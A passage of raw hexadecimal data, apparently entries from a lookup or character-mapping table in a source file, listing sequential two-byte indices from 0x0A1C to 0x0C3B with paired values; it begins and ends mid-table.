0x09, +0x00, 0x0A, 0x1C, 0x67, 0x03, +0x00, 0x0A, 0x1D, 0x18, 0x09, +0x00, 0x0A, 0x1E, 0x19, 0x09, +0x00, 0x0A, 0x1F, 0x1a, 0x09, +0x00, 0x0A, 0x20, 0x1b, 0x09, +0x00, 0x0A, 0x21, 0x1c, 0x09, +0x00, 0x0A, 0x22, 0x1d, 0x09, +0x00, 0x0A, 0x23, 0x1e, 0x09, +0x00, 0x0A, 0x24, 0x1f, 0x09, +0x00, 0x0A, 0x25, 0x20, 0x09, +0x00, 0x0A, 0x26, 0x21, 0x09, +0x00, 0x0A, 0x27, 0x51, 0x03, +0x00, 0x0A, 0x28, 0x22, 0x09, +0x00, 0x0A, 0x29, 0x23, 0x09, +0x00, 0x0A, 0x2A, 0x72, 0x03, +0x00, 0x0A, 0x2B, 0x24, 0x09, +0x00, 0x0A, 0x2C, 0x25, 0x09, +0x00, 0x0A, 0x2D, 0x26, 0x09, +0x00, 0x0A, 0x2E, 0x27, 0x09, +0x00, 0x0A, 0x2F, 0x28, 0x09, +0x00, 0x0A, 0x30, 0x9c, 0x08, +0x00, 0x0A, 0x31, 0x29, 0x09, +0x00, 0x0A, 0x32, 0x2a, 0x09, +0x00, 0x0A, 0x33, 0x2b, 0x09, +0x00, 0x0A, 0x34, 0x2c, 0x09, +0x00, 0x0A, 0x35, 0x2d, 0x09, +0x00, 0x0A, 0x36, 0x2e, 0x09, +0x00, 0x0A, 0x37, 0x2f, 0x09, +0x00, 0x0A, 0x38, 0x30, 0x09, +0x00, 0x0A, 0x39, 0x31, 0x09, +0x00, 0x0A, 0x3A, 0x32, 0x09, +0x00, 0x0A, 0x3B, 0x33, 0x09, +0x00, 0x0A, 0x3C, 0x34, 0x09, +0x00, 0x0A, 0x3D, 0x35, 0x09, +0x00, 0x0A, 0x3E, 0x36, 0x09, +0x00, 0x0A, 0x3F, 0x37, 0x09, +0x00, 0x0A, 0x40, 0x38, 0x09, +0x00, 0x0A, 0x41, 0x05, 0x00, +0x00, 0x0A, 0x42, 0x05, 0x00, +0x00, 0x0A, 0x43, 0x39, 0x09, +0x00, 0x0A, 0x44, 0x3a, 0x09, +0x00, 0x0A, 0x45, 0x3b, 0x09, +0x00, 0x0A, 0x46, 0x3c, 0x09, +0x00, 0x0A, 0x47, 0x3d, 0x09, +0x00, 0x0A, 0x48, 0x3e, 0x09, +0x00, 0x0A, 0x49, 0xbb, 0x01, +0x00, 0x0A, 0x4A, 0x3f, 0x09, +0x00, 0x0A, 0x4B, 0x40, 0x09, +0x00, 0x0A, 0x4C, 0x41, 0x09, +0x00, 0x0A, 0x4D, 0x42, 0x09, +0x00, 0x0A, 0x4E, 0x43, 0x09, +0x00, 0x0A, 0x4F, 0x44, 0x09, +0x00, 0x0A, 0x50, 0x45, 0x09, +0x00, 0x0A, 0x51, 0x46, 0x09, +0x00, 0x0A, 0x52, 0x47, 0x09, +0x00, 0x0A, 0x53, 0x48, 0x09, +0x00, 0x0A, 0x54, 0x49, 0x09, +0x00, 0x0A, 0x55, 0x4a, 0x09, +0x00, 0x0A, 0x56, 0x4b, 0x09, +0x00, 0x0A, 0x57, 0xc9, 0x01, +0x00, 0x0A, 0x58, 0x4c, 0x09, +0x00, 0x0A, 0x59, 0x4d, 0x09, +0x00, 0x0A, 0x5A, 0x4e, 0x09, +0x00, 0x0A, 0x5B, 0x4f, 0x09, +0x00, 0x0A, 0x5C, 0x50, 0x09, +0x00, 0x0A, 0x5D, 0x51, 0x09, +0x00, 0x0A, 0x5E, 0xf2, 0x00, +0x00, 0x0A, 0x5F, 0x52, 0x09, +0x00, 0x0A, 0x60, 0x53, 0x09, +0x00, 0x0A, 0x61, 0x54, 0x09, +0x00, 0x0A, 0x62, 0x55, 0x09, +0x00, 0x0A, 0x63, 0x56, 0x09, +0x00, 0x0A, 0x64, 0x57, 0x09, +0x00, 0x0A, 0x65, 0x58, 0x09, +0x00, 0x0A, 0x66, 0xb2, 0x00, +0x00, 0x0A, 0x67, 0x59, 0x09, +0x00, 0x0A, 0x68, 0x5a, 0x09, +0x00, 0x0A, 0x69, 0x5b, 0x09, +0x00, 0x0A, 0x6A, 0x5c, 0x09, +0x00, 0x0A, 0x6B, 0x5d, 0x09, +0x00, 0x0A, 0x6C, 0x5e, 0x09, +0x00, 0x0A, 0x6D, 0x5f, 0x09, +0x00, 0x0A, 0x6E, 0x60, 0x09, +0x00, 0x0A, 0x6F, 0x61, 0x09, +0x00, 0x0A, 0x70, 0x62, 0x09, +0x00, 0x0A, 0x71, 0x63, 0x09, +0x00, 0x0A, 0x72, 0x64, 0x09, +0x00, 0x0A, 0x73, 0x8c, 0x01, +0x00, 0x0A, 0x74, 0x65, 0x09, +0x00, 0x0A, 0x75, 0x66, 0x09, +0x00, 0x0A, 0x76, 0x67, 0x09, +0x00, 0x0A, 0x77, 0x68, 0x09, +0x00, 0x0A, 0x78, 0x69, 0x09, +0x00, 0x0A, 0x79, 0x6a, 0x09, +0x00, 0x0A, 0x7A, 0x6b, 0x09, +0x00, 0x0A, 0x7B, 0x6c, 0x09, +0x00, 0x0A, 0x7C, 0x6d, 0x09, +0x00, 0x0A, 0x7D, 0x6e, 0x09, +0x00, 0x0A, 0x7E, 0x6f, 0x09, +0x00, 0x0A, 0x7F, 0x70, 0x09, +0x00, 0x0A, 0x80, 0x71, 0x09, +0x00, 0x0A, 0x81, 0x72, 0x09, +0x00, 0x0A, 0x82, 0x73, 0x09, +0x00, 0x0A, 0x83, 0x74, 0x09, +0x00, 0x0A, 0x84, 0x75, 0x09, +0x00, 0x0A, 0x85, 0x76, 0x09, +0x00, 0x0A, 0x86, 0x77, 0x09, +0x00, 0x0A, 0x87, 0xd5, 0x00, +0x00, 0x0A, 0x88, 0x78, 0x09, +0x00, 0x0A, 0x89, 0x79, 0x09, +0x00, 0x0A, 0x8A, 0x05, 0x00, +0x00, 0x0A, 0x8B, 0x05, 0x00, +0x00, 0x0A, 0x8C, 0x7a, 0x09, +0x00, 0x0A, 0x8D, 0x2f, 0x04, +0x00, 0x0A, 0x8E, 0x7b, 0x09, +0x00, 0x0A, 0x8F, 0x7c, 0x09, +0x00, 0x0A, 0x90, 0x7d, 0x09, +0x00, 0x0A, 0x91, 0x7e, 0x09, +0x00, 0x0A, 0x92, 0x7f, 0x09, +0x00, 0x0A, 0x93, 0x80, 0x09, +0x00, 0x0A, 0x94, 0x0e, 0x03, +0x00, 0x0A, 0x95, 0x51, 0x03, +0x00, 0x0A, 0x96, 0x81, 0x09, +0x00, 0x0A, 0x97, 0x82, 0x09, +0x00, 0x0A, 0x98, 0x83, 0x09, +0x00, 0x0A, 0x99, 0x84, 0x09, +0x00, 0x0A, 0x9A, 0x85, 0x09, +0x00, 0x0A, 0x9B, 0x86, 0x09, +0x00, 0x0A, 0x9C, 0x87, 0x09, +0x00, 0x0A, 0x9D, 0x88, 0x09, +0x00, 0x0A, 0x9E, 0x89, 0x09, +0x00, 0x0A, 0x9F, 0x8a, 0x09, +0x00, 0x0A, 0xA0, 0x8b, 0x09, +0x00, 0x0A, 0xA1, 0x8c, 0x09, +0x00, 0x0A, 0xA2, 0x8d, 0x09, +0x00, 0x0A, 0xA3, 0x8e, 0x09, +0x00, 0x0A, 0xA4, 0x0e, 0x03, +0x00, 0x0A, 0xA5, 0x8f, 0x09, +0x00, 0x0A, 0xA6, 0x90, 0x09, +0x00, 0x0A, 0xA7, 0x91, 0x09, +0x00, 0x0A, 0xA8, 0x92, 0x09, +0x00, 0x0A, 0xA9, 0x93, 0x09, +0x00, 0x0A, 0xAA, 0x94, 0x09, +0x00, 0x0A, 0xAB, 0x95, 0x09, +0x00, 0x0A, 0xAC, 0x96, 0x09, +0x00, 0x0A, 0xAD, 0x97, 0x09, +0x00, 0x0A, 0xAE, 0x61, 0x00, +0x00, 0x0A, 0xAF, 0x98, 0x09, +0x00, 0x0A, 0xB0, 0x99, 0x09, +0x00, 0x0A, 0xB1, 0x9a, 0x09, +0x00, 0x0A, 0xB2, 0x9b, 0x09, +0x00, 0x0A, 0xB3, 0x9c, 0x09, +0x00, 0x0A, 0xB4, 0x9d, 0x09, +0x00, 0x0A, 0xB5, 0xdf, 0x01, +0x00, 0x0A, 0xB6, 0x9e, 0x09, +0x00, 0x0A, 0xB7, 0x05, 0x00, +0x00, 0x0A, 0xB8, 0x05, 0x00, +0x00, 0x0A, 0xB9, 0x9f, 0x09, +0x00, 0x0A, 0xBA, 0xa0, 0x09, +0x00, 0x0A, 0xBB, 0xa1, 0x09, +0x00, 0x0A, 0xBC, 0xa2, 0x09, +0x00, 0x0A, 0xBD, 0xa3, 0x09, +0x00, 0x0A, 0xBE, 0xa4, 0x09, +0x00, 0x0A, 0xBF, 0xa5, 0x09, +0x00, 0x0A, 0xC0, 0xa6, 0x09, +0x00, 0x0A, 0xC1, 0xa7, 0x09, +0x00, 0x0A, 0xC2, 0xa8, 0x09, +0x00, 0x0A, 0xC3, 0xa9, 0x09, +0x00, 0x0A, 0xC4, 0xaa, 0x09, +0x00, 0x0A, 0xC5, 0xab, 0x09, +0x00, 0x0A, 0xC6, 0xfd, 0x04, +0x00, 0x0A, 0xC7, 0xac, 0x09, +0x00, 0x0A, 0xC8, 0xad, 0x09, +0x00, 0x0A, 0xC9, 0xae, 0x09, +0x00, 0x0A, 0xCA, 0xaf, 0x09, +0x00, 0x0A, 0xCB, 0xb0, 0x09, +0x00, 0x0A, 0xCC, 0xb1, 0x09, +0x00, 0x0A, 0xCD, 0xb2, 0x09, +0x00, 0x0A, 0xCE, 0xb3, 0x09, +0x00, 0x0A, 0xCF, 0xb4, 0x09, +0x00, 0x0A, 0xD0, 0xb5, 0x09, +0x00, 0x0A, 0xD1, 0xb6, 0x09, +0x00, 0x0A, 0xD2, 0xb7, 0x09, +0x00, 0x0A, 0xD3, 0xb8, 0x09, +0x00, 0x0A, 0xD4, 0xb9, 0x09, +0x00, 0x0A, 0xD5, 0xba, 0x09, +0x00, 0x0A, 0xD6, 0xbb, 0x09, +0x00, 0x0A, 0xD7, 0xbc, 0x09, +0x00, 0x0A, 0xD8, 0xbd, 0x09, +0x00, 0x0A, 0xD9, 0xbe, 0x09, +0x00, 0x0A, 0xDA, 0xbf, 0x09, +0x00, 0x0A, 0xDB, 0xc0, 0x09, +0x00, 0x0A, 0xDC, 0xc1, 0x09, +0x00, 0x0A, 0xDD, 0xc2, 0x09, +0x00, 0x0A, 0xDE, 0xc3, 0x09, +0x00, 0x0A, 0xDF, 0xc4, 0x09, +0x00, 0x0A, 0xE0, 0xc5, 0x09, +0x00, 0x0A, 0xE1, 0xc6, 0x09, +0x00, 0x0A, 0xE2, 0xc7, 0x09, +0x00, 0x0A, 0xE3, 0xc8, 0x09, +0x00, 0x0A, 0xE4, 0xc9, 0x09, +0x00, 0x0A, 0xE5, 0xca, 0x09, +0x00, 0x0A, 0xE6, 0xee, 0x06, +0x00, 0x0A, 0xE7, 0xcb, 0x09, +0x00, 0x0A, 0xE8, 0xcc, 0x09, +0x00, 0x0A, 0xE9, 0xcd, 0x09, +0x00, 0x0A, 0xEA, 0xce, 0x09, +0x00, 0x0A, 0xEB, 0xcf, 0x09, +0x00, 0x0A, 0xEC, 0xd0, 0x09, +0x00, 0x0A, 0xED, 0xd1, 0x09, +0x00, 0x0A, 0xEE, 0xd2, 0x09, +0x00, 0x0A, 0xEF, 0xd3, 0x09, +0x00, 0x0A, 0xF0, 0xd4, 0x09, +0x00, 0x0A, 0xF1, 0xd5, 0x09, +0x00, 0x0A, 0xF2, 0xd6, 0x09, +0x00, 0x0A, 0xF3, 0x05, 0x00, +0x00, 0x0A, 0xF4, 0x05, 0x00, +0x00, 0x0A, 0xF5, 0xd7, 0x09, +0x00, 0x0A, 0xF6, 0xd8, 0x09, +0x00, 0x0A, 0xF7, 0x35, 0x05, +0x00, 0x0A, 0xF8, 0x36, 0x06, +0x00, 0x0A, 0xF9, 0xd9, 0x09, +0x00, 0x0A, 0xFA, 0xda, 0x09, +0x00, 0x0A, 0xFB, 0xdb, 0x09, +0x00, 0x0A, 0xFC, 0xdc, 0x09, +0x00, 0x0A, 0xFD, 0xdd, 0x09, +0x00, 0x0A, 0xFE, 0xde, 0x09, +0x00, 0x0A, 0xFF, 0xdf, 0x09, +0x00, 0x0B, 0x00, 0xe0, 0x09, +0x00, 0x0B, 0x01, 0xe1, 0x09, +0x00, 0x0B, 0x02, 0xe2, 0x09, +0x00, 0x0B, 0x03, 0xe3, 0x09, +0x00, 0x0B, 0x04, 0xe4, 0x09, +0x00, 0x0B, 0x05, 0xcd, 0x02, +0x00, 0x0B, 0x06, 0xb9, 0x00, +0x00, 0x0B, 0x07, 0xe5, 0x09, +0x00, 0x0B, 0x08, 0xe6, 0x09, +0x00, 0x0B, 0x09, 0xe7, 0x09, +0x00, 0x0B, 0x0A, 0xe8, 0x09, +0x00, 0x0B, 0x0B, 0xe9, 0x09, +0x00, 0x0B, 0x0C, 0xea, 0x09, +0x00, 0x0B, 0x0D, 0xeb, 0x09, +0x00, 0x0B, 0x0E, 0xec, 0x09, +0x00, 0x0B, 0x0F, 0xed, 0x09, +0x00, 0x0B, 0x10, 0xee, 0x09, +0x00, 0x0B, 0x11, 0xef, 0x09, +0x00, 0x0B, 0x12, 0xf0, 0x09, +0x00, 0x0B, 0x13, 0xf1, 0x09, +0x00, 0x0B, 0x14, 0xf2, 0x09, +0x00, 0x0B, 0x15, 0xf3, 0x09, +0x00, 0x0B, 0x16, 0x5a, 0x08, +0x00, 0x0B, 0x17, 0xf4, 0x09, +0x00, 0x0B, 0x18, 0x65, 0x00, +0x00, 0x0B, 0x19, 0xf5, 0x09, +0x00, 0x0B, 0x1A, 0xf6, 0x09, +0x00, 0x0B, 0x1B, 0xf7, 0x09, +0x00, 0x0B, 0x1C, 0xf8, 0x09, +0x00, 0x0B, 0x1D, 0xf9, 0x09, +0x00, 0x0B, 0x1E, 0xfa, 0x09, +0x00, 0x0B, 0x1F, 0xfb, 0x09, +0x00, 0x0B, 0x20, 0xfc, 0x09, +0x00, 0x0B, 0x21, 0xfd, 0x09, +0x00, 0x0B, 0x22, 0xfe, 0x09, +0x00, 0x0B, 0x23, 0xff, 0x09, +0x00, 0x0B, 0x24, 0x00, 0x0a, +0x00, 0x0B, 0x25, 0x01, 0x0a, +0x00, 0x0B, 0x26, 0x02, 0x0a, +0x00, 0x0B, 0x27, 0x03, 0x0a, +0x00, 0x0B, 0x28, 0x04, 0x0a, +0x00, 0x0B, 0x29, 0x05, 0x0a, +0x00, 0x0B, 0x2A, 0x06, 0x0a, +0x00, 0x0B, 0x2B, 0x07, 0x0a, +0x00, 0x0B, 0x2C, 0x08, 0x0a, +0x00, 0x0B, 0x2D, 0xc7, 0x06, +0x00, 0x0B, 0x2E, 0x09, 0x0a, +0x00, 0x0B, 0x2F, 0x0a, 0x0a, +0x00, 0x0B, 0x30, 0x0b, 0x0a, +0x00, 0x0B, 0x31, 0x0c, 0x0a, +0x00, 0x0B, 0x32, 0x0d, 0x0a, +0x00, 0x0B, 0x33, 0x0e, 0x0a, +0x00, 0x0B, 0x34, 0x0e, 0x03, +0x00, 0x0B, 0x35, 0x0f, 0x0a, +0x00, 0x0B, 0x36, 0x10, 0x0a, +0x00, 0x0B, 0x37, 0x11, 0x0a, +0x00, 0x0B, 0x38, 0x12, 0x0a, +0x00, 0x0B, 0x39, 0x13, 0x0a, +0x00, 0x0B, 0x3A, 0x14, 0x0a, +0x00, 0x0B, 0x3B, 0x15, 0x0a, +0x00, 0x0B, 0x3C, 0x16, 0x0a, +0x00, 0x0B, 0x3D, 0x17, 0x0a, +0x00, 0x0B, 0x3E, 0x18, 0x0a, +0x00, 0x0B, 0x3F, 0x19, 0x0a, +0x00, 0x0B, 0x40, 0x1a, 0x0a, +0x00, 0x0B, 0x41, 0x1b, 0x0a, +0x00, 0x0B, 0x42, 0x1c, 0x0a, +0x00, 0x0B, 0x43, 0x1d, 0x0a, +0x00, 0x0B, 0x44, 0x1e, 0x0a, +0x00, 0x0B, 0x45, 0x05, 0x00, +0x00, 0x0B, 0x46, 0x05, 0x00, +0x00, 0x0B, 0x47, 0xf7, 0x01, +0x00, 0x0B, 0x48, 0x1f, 0x0a, +0x00, 0x0B, 0x49, 0x20, 0x0a, +0x00, 0x0B, 0x4A, 0x21, 0x0a, +0x00, 0x0B, 0x4B, 0x22, 0x0a, +0x00, 0x0B, 0x4C, 0x23, 0x0a, +0x00, 0x0B, 0x4D, 0x24, 0x0a, +0x00, 0x0B, 0x4E, 0x25, 0x0a, +0x00, 0x0B, 0x4F, 0x26, 0x0a, +0x00, 0x0B, 0x50, 0x27, 0x0a, +0x00, 0x0B, 0x51, 0x28, 0x0a, +0x00, 0x0B, 0x52, 0x29, 0x0a, +0x00, 0x0B, 0x53, 0x2a, 0x0a, +0x00, 0x0B, 0x54, 0x2b, 0x0a, +0x00, 0x0B, 0x55, 0x2c, 0x0a, +0x00, 0x0B, 0x56, 0x2d, 0x0a, +0x00, 0x0B, 0x57, 0x2e, 0x0a, +0x00, 0x0B, 0x58, 0x2f, 0x0a, +0x00, 0x0B, 0x59, 0x30, 0x0a, +0x00, 0x0B, 0x5A, 0x31, 0x0a, +0x00, 0x0B, 0x5B, 0x32, 0x0a, +0x00, 0x0B, 0x5C, 0x33, 0x0a, +0x00, 0x0B, 0x5D, 0x07, 0x00, +0x00, 0x0B, 0x5E, 0x34, 0x0a, +0x00, 0x0B, 0x5F, 0x05, 0x00, +0x00, 0x0B, 0x60, 0x05, 0x00, +0x00, 0x0B, 0x61, 0x35, 0x0a, +0x00, 0x0B, 0x62, 0x36, 0x0a, +0x00, 0x0B, 0x63, 0x37, 0x0a, +0x00, 0x0B, 0x64, 0x38, 0x0a, +0x00, 0x0B, 0x65, 0x39, 0x0a, +0x00, 0x0B, 0x66, 0x3a, 0x0a, +0x00, 0x0B, 0x67, 0x3b, 0x0a, +0x00, 0x0B, 0x68, 0x3c, 0x0a, +0x00, 0x0B, 0x69, 0x3d, 0x0a, +0x00, 0x0B, 0x6A, 0x3e, 0x0a, +0x00, 0x0B, 0x6B, 0x3f, 0x0a, +0x00, 0x0B, 0x6C, 0x40, 0x0a, +0x00, 0x0B, 0x6D, 0x41, 0x0a, +0x00, 0x0B, 0x6E, 0x42, 0x0a, +0x00, 0x0B, 0x6F, 0x43, 0x0a, +0x00, 0x0B, 0x70, 0x44, 0x0a, +0x00, 0x0B, 0x71, 0x45, 0x0a, +0x00, 0x0B, 0x72, 0x46, 0x0a, +0x00, 0x0B, 0x73, 0x47, 0x0a, +0x00, 0x0B, 0x74, 0x48, 0x0a, +0x00, 0x0B, 0x75, 0x49, 0x0a, +0x00, 0x0B, 0x76, 0x4a, 0x0a, +0x00, 0x0B, 0x77, 0x4b, 0x0a, +0x00, 0x0B, 0x78, 0x4c, 0x0a, +0x00, 0x0B, 0x79, 0x4d, 0x0a, +0x00, 0x0B, 0x7A, 0x56, 0x05, +0x00, 0x0B, 0x7B, 0x4e, 0x0a, +0x00, 0x0B, 0x7C, 0x4f, 0x0a, +0x00, 0x0B, 0x7D, 0x50, 0x0a, +0x00, 0x0B, 0x7E, 0x51, 0x0a, +0x00, 0x0B, 0x7F, 0x52, 0x0a, +0x00, 0x0B, 0x80, 0x53, 0x0a, +0x00, 0x0B, 0x81, 0x54, 0x0a, +0x00, 0x0B, 0x82, 0x55, 0x0a, +0x00, 0x0B, 0x83, 0x56, 0x0a, +0x00, 0x0B, 0x84, 0x57, 0x0a, +0x00, 0x0B, 0x85, 0x05, 0x00, +0x00, 0x0B, 0x86, 0x58, 0x0a, +0x00, 0x0B, 0x87, 0x36, 0x06, +0x00, 0x0B, 0x88, 0x59, 0x0a, +0x00, 0x0B, 0x89, 0x5a, 0x0a, +0x00, 0x0B, 0x8A, 0x5b, 0x0a, +0x00, 0x0B, 0x8B, 0x5c, 0x0a, +0x00, 0x0B, 0x8C, 0x10, 0x05, +0x00, 0x0B, 0x8D, 0x5d, 0x0a, +0x00, 0x0B, 0x8E, 0x5e, 0x0a, +0x00, 0x0B, 0x8F, 0x5f, 0x0a, +0x00, 0x0B, 0x90, 0x60, 0x0a, +0x00, 0x0B, 0x91, 0x61, 0x0a, +0x00, 0x0B, 0x92, 0x62, 0x0a, +0x00, 0x0B, 0x93, 0x63, 0x0a, +0x00, 0x0B, 0x94, 0x64, 0x0a, +0x00, 0x0B, 0x95, 0x65, 0x0a, +0x00, 0x0B, 0x96, 0x66, 0x0a, +0x00, 0x0B, 0x97, 0xdd, 0x00, +0x00, 0x0B, 0x98, 0x67, 0x0a, +0x00, 0x0B, 0x99, 0x68, 0x0a, +0x00, 0x0B, 0x9A, 0x0e, 0x03, +0x00, 0x0B, 0x9B, 0x69, 0x0a, +0x00, 0x0B, 0x9C, 0x6a, 0x0a, +0x00, 0x0B, 0x9D, 0x6b, 0x0a, +0x00, 0x0B, 0x9E, 0x6c, 0x0a, +0x00, 0x0B, 0x9F, 0x6d, 0x0a, +0x00, 0x0B, 0xA0, 0x6e, 0x0a, +0x00, 0x0B, 0xA1, 0x6f, 0x0a, +0x00, 0x0B, 0xA2, 0x58, 0x00, +0x00, 0x0B, 0xA3, 0x70, 0x0a, +0x00, 0x0B, 0xA4, 0x71, 0x0a, +0x00, 0x0B, 0xA5, 0x72, 0x0a, +0x00, 0x0B, 0xA6, 0x73, 0x0a, +0x00, 0x0B, 0xA7, 0x74, 0x0a, +0x00, 0x0B, 0xA8, 0x75, 0x0a, +0x00, 0x0B, 0xA9, 0x76, 0x0a, +0x00, 0x0B, 0xAA, 0x77, 0x0a, +0x00, 0x0B, 0xAB, 0x78, 0x0a, +0x00, 0x0B, 0xAC, 0xf2, 0x00, +0x00, 0x0B, 0xAD, 0x79, 0x0a, +0x00, 0x0B, 0xAE, 0x7a, 0x0a, +0x00, 0x0B, 0xAF, 0x7b, 0x0a, +0x00, 0x0B, 0xB0, 0x7c, 0x0a, +0x00, 0x0B, 0xB1, 0x7d, 0x0a, +0x00, 0x0B, 0xB2, 0x7e, 0x0a, +0x00, 0x0B, 0xB3, 0x7f, 0x0a, +0x00, 0x0B, 0xB4, 0x80, 0x0a, +0x00, 0x0B, 0xB5, 0x81, 0x0a, +0x00, 0x0B, 0xB6, 0x82, 0x0a, +0x00, 0x0B, 0xB7, 0x83, 0x0a, +0x00, 0x0B, 0xB8, 0x84, 0x0a, +0x00, 0x0B, 0xB9, 0x85, 0x0a, +0x00, 0x0B, 0xBA, 0x60, 0x09, +0x00, 0x0B, 0xBB, 0x86, 0x0a, +0x00, 0x0B, 0xBC, 0x87, 0x0a, +0x00, 0x0B, 0xBD, 0x88, 0x0a, +0x00, 0x0B, 0xBE, 0x05, 0x00, +0x00, 0x0B, 0xBF, 0x05, 0x00, +0x00, 0x0B, 0xC0, 0x89, 0x0a, +0x00, 0x0B, 0xC1, 0x8a, 0x0a, +0x00, 0x0B, 0xC2, 0x8b, 0x0a, +0x00, 0x0B, 0xC3, 0x8c, 0x0a, +0x00, 0x0B, 0xC4, 0x8d, 0x0a, +0x00, 0x0B, 0xC5, 0x80, 0x04, +0x00, 0x0B, 0xC6, 0x8e, 0x0a, +0x00, 0x0B, 0xC7, 0x8f, 0x0a, +0x00, 0x0B, 0xC8, 0x90, 0x0a, +0x00, 0x0B, 0xC9, 0x91, 0x0a, +0x00, 0x0B, 0xCA, 0x92, 0x0a, +0x00, 0x0B, 0xCB, 0x93, 0x0a, +0x00, 0x0B, 0xCC, 0x94, 0x0a, +0x00, 0x0B, 0xCD, 0xc9, 0x01, +0x00, 0x0B, 0xCE, 0x95, 0x0a, +0x00, 0x0B, 0xCF, 0x96, 0x0a, +0x00, 0x0B, 0xD0, 0x97, 0x0a, +0x00, 0x0B, 0xD1, 0x98, 0x0a, +0x00, 0x0B, 0xD2, 0x99, 0x0a, +0x00, 0x0B, 0xD3, 0x9a, 0x0a, +0x00, 0x0B, 0xD4, 0x9b, 0x0a, +0x00, 0x0B, 0xD5, 0x9c, 0x0a, +0x00, 0x0B, 0xD6, 0x9d, 0x0a, +0x00, 0x0B, 0xD7, 0x9e, 0x0a, +0x00, 0x0B, 0xD8, 0xf6, 0x09, +0x00, 0x0B, 0xD9, 0x9f, 0x0a, +0x00, 0x0B, 0xDA, 0xa0, 0x0a, +0x00, 0x0B, 0xDB, 0xd1, 0x05, +0x00, 0x0B, 0xDC, 0xa1, 0x0a, +0x00, 0x0B, 0xDD, 0xa2, 0x0a, +0x00, 0x0B, 0xDE, 0xa3, 0x0a, +0x00, 0x0B, 0xDF, 0xe9, 0x01, +0x00, 0x0B, 0xE0, 0xa4, 0x0a, +0x00, 0x0B, 0xE1, 0xa5, 0x0a, +0x00, 0x0B, 0xE2, 0xa6, 0x0a, +0x00, 0x0B, 0xE3, 0xa7, 0x0a, +0x00, 0x0B, 0xE4, 0xa8, 0x0a, +0x00, 0x0B, 0xE5, 0xa9, 0x0a, +0x00, 0x0B, 0xE6, 0xaa, 0x0a, +0x00, 0x0B, 0xE7, 0xab, 0x0a, +0x00, 0x0B, 0xE8, 0xac, 0x0a, +0x00, 0x0B, 0xE9, 0xad, 0x0a, +0x00, 0x0B, 0xEA, 0xae, 0x0a, +0x00, 0x0B, 0xEB, 0xaf, 0x0a, +0x00, 0x0B, 0xEC, 0xb0, 0x0a, +0x00, 0x0B, 0xED, 0xb1, 0x0a, +0x00, 0x0B, 0xEE, 0xb2, 0x0a, +0x00, 0x0B, 0xEF, 0xb3, 0x0a, +0x00, 0x0B, 0xF0, 0xb4, 0x0a, +0x00, 0x0B, 0xF1, 0xb5, 0x0a, +0x00, 0x0B, 0xF2, 0xb6, 0x0a, +0x00, 0x0B, 0xF3, 0xb7, 0x0a, +0x00, 0x0B, 0xF4, 0x65, 0x00, +0x00, 0x0B, 0xF5, 0x0e, 0x03, +0x00, 0x0B, 0xF6, 0xb8, 0x0a, +0x00, 0x0B, 0xF7, 0xb9, 0x0a, +0x00, 0x0B, 0xF8, 0xba, 0x0a, +0x00, 0x0B, 0xF9, 0xbb, 0x0a, +0x00, 0x0B, 0xFA, 0xbc, 0x0a, +0x00, 0x0B, 0xFB, 0xbd, 0x0a, +0x00, 0x0B, 0xFC, 0x05, 0x00, +0x00, 0x0B, 0xFD, 0x05, 0x00, +0x00, 0x0B, 0xFE, 0xbe, 0x0a, +0x00, 0x0B, 0xFF, 0x36, 0x01, +0x00, 0x0C, 0x00, 0xbf, 0x0a, +0x00, 0x0C, 0x01, 0xc0, 0x0a, +0x00, 0x0C, 0x02, 0xc1, 0x0a, +0x00, 0x0C, 0x03, 0xc2, 0x0a, +0x00, 0x0C, 0x04, 0xc3, 0x0a, +0x00, 0x0C, 0x05, 0xc4, 0x0a, +0x00, 0x0C, 0x06, 0xc5, 0x0a, +0x00, 0x0C, 0x07, 0xc6, 0x0a, +0x00, 0x0C, 0x08, 0xc7, 0x0a, +0x00, 0x0C, 0x09, 0x76, 0x04, +0x00, 0x0C, 0x0A, 0xc8, 0x0a, +0x00, 0x0C, 0x0B, 0xc9, 0x0a, +0x00, 0x0C, 0x0C, 0xca, 0x0a, +0x00, 0x0C, 0x0D, 0x5a, 0x08, +0x00, 0x0C, 0x0E, 0xcb, 0x0a, +0x00, 0x0C, 0x0F, 0xcc, 0x0a, +0x00, 0x0C, 0x10, 0xcd, 0x0a, +0x00, 0x0C, 0x11, 0x86, 0x03, +0x00, 0x0C, 0x12, 0xce, 0x0a, +0x00, 0x0C, 0x13, 0xcf, 0x0a, +0x00, 0x0C, 0x14, 0xd0, 0x0a, +0x00, 0x0C, 0x15, 0xd1, 0x0a, +0x00, 0x0C, 0x16, 0xd2, 0x0a, +0x00, 0x0C, 0x17, 0xd3, 0x0a, +0x00, 0x0C, 0x18, 0xd4, 0x0a, +0x00, 0x0C, 0x19, 0xd5, 0x0a, +0x00, 0x0C, 0x1A, 0xd6, 0x0a, +0x00, 0x0C, 0x1B, 0xd7, 0x0a, +0x00, 0x0C, 0x1C, 0xd8, 0x0a, +0x00, 0x0C, 0x1D, 0xd9, 0x0a, +0x00, 0x0C, 0x1E, 0xda, 0x0a, +0x00, 0x0C, 0x1F, 0xdb, 0x0a, +0x00, 0x0C, 0x20, 0xdc, 0x0a, +0x00, 0x0C, 0x21, 0xdd, 0x0a, +0x00, 0x0C, 0x22, 0xde, 0x0a, +0x00, 0x0C, 0x23, 0xdf, 0x0a, +0x00, 0x0C, 0x24, 0xe0, 0x0a, +0x00, 0x0C, 0x25, 0xc0, 0x00, +0x00, 0x0C, 0x26, 0xe1, 0x0a, +0x00, 0x0C, 0x27, 0xe2, 0x0a, +0x00, 0x0C, 0x28, 0xe3, 0x0a, +0x00, 0x0C, 0x29, 0xf0, 0x04, +0x00, 0x0C, 0x2A, 0xe4, 0x0a, +0x00, 0x0C, 0x2B, 0xe5, 0x0a, +0x00, 0x0C, 0x2C, 0xe6, 0x0a, +0x00, 0x0C, 0x2D, 0xe7, 0x0a, +0x00, 0x0C, 0x2E, 0xe8, 0x0a, +0x00, 0x0C, 0x2F, 0xe9, 0x0a, +0x00, 0x0C, 0x30, 0x05, 0x00, +0x00, 0x0C, 0x31, 0x05, 0x00, +0x00, 0x0C, 0x32, 0xea, 0x0a, +0x00, 0x0C, 0x33, 0xeb, 0x0a, +0x00, 0x0C, 0x34, 0xec, 0x0a, +0x00, 0x0C, 0x35, 0xed, 0x0a, +0x00, 0x0C, 0x36, 0xee, 0x0a, +0x00, 0x0C, 0x37, 0xef, 0x0a, +0x00, 0x0C, 0x38, 0xf0, 0x0a, +0x00, 0x0C, 0x39, 0xf1, 0x0a, +0x00, 0x0C, 0x3A, 0xf2, 0x0a, +0x00, 0x0C, 0x3B, 